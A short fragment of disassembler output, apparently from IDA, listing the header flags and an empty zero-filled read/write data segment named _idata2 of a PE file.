; Offset to raw	data for section: 0020E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 60E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start